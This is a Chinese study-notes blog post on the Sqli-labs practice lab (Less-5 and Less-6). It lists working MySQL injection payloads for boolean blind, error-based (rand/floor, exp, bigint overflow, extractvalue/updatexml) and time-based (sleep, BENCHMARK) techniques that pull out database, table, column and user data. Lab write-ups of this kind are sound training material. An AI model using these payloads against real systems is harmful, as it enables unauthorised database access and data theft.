MYSQL注入天书(Sqli-labs)学习笔记(二)

Less-5

1.使用left()函数盲注

首先得到数据库长度
id=1’ and length(database())=8–+
猜解第一个字符:
id=1’ and left(database(),1)>‘a’–+
可以采用二分法提高效率,得到第一个字符为s
第二位字符:
id=1’ and left(database(),2)>‘sa’–+
以此类推可得到完整数据库名

2.使用substr(),ascii()函数盲注

猜解security数据库中的表名
id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101–+
猜解第二个字符只需改变substr(**,2,1),以此类推可得到第一个表email
获取第二个表需改变limit为:limit 1,1

3.正则函数regexp盲注

猜解第二表users中的列名
id=1’ and 1=(select 1 form information_schema.columns where table_name=‘users’ and column_name regexp ‘^username’ limit 0,1)–+
users表中含有名为username的列名

4.ord(),mid()函数盲注

猜解users表中username列第一行的第一个字符内容
id =1 and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1) ,1,1))=68–+

5.rand()报错注入

id=1’ union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a–+
rand()函数报错注入三个条件:concat,floor(),group by

6.exp()报错注入

id=1’ union select (exp(~(select * FROM(SELECT USER())a))),2, 3–+

7.bigint 溢出报错注入

id=1’ union select (!(select * from (select user())x)- ~0),2,3–+

8.xpath报错注入

?id=1’ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
?id=1’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+

9.数据重复报错

在这里插入图片描述

10.延时注入

sleep()函数
?id=1’and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
若表达式执行错误则延时5秒
BENCHMARK()函数
id=1’UNION SELECT (IF(SUBSTRING(select database(),1,1)=CHAR(115),BEN
CHMARK(50000000,ENCODE(‘MSG’,‘by 5 seconds’)),null)),2,3 --+
encode函数
当结果正确的时候,运行 ENCODE(‘MSG’,‘by 5 seconds’)操作 50000000 次,会占用一段时间。

Less-6

注入方法同上,只需将 ‘ 改为 “

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值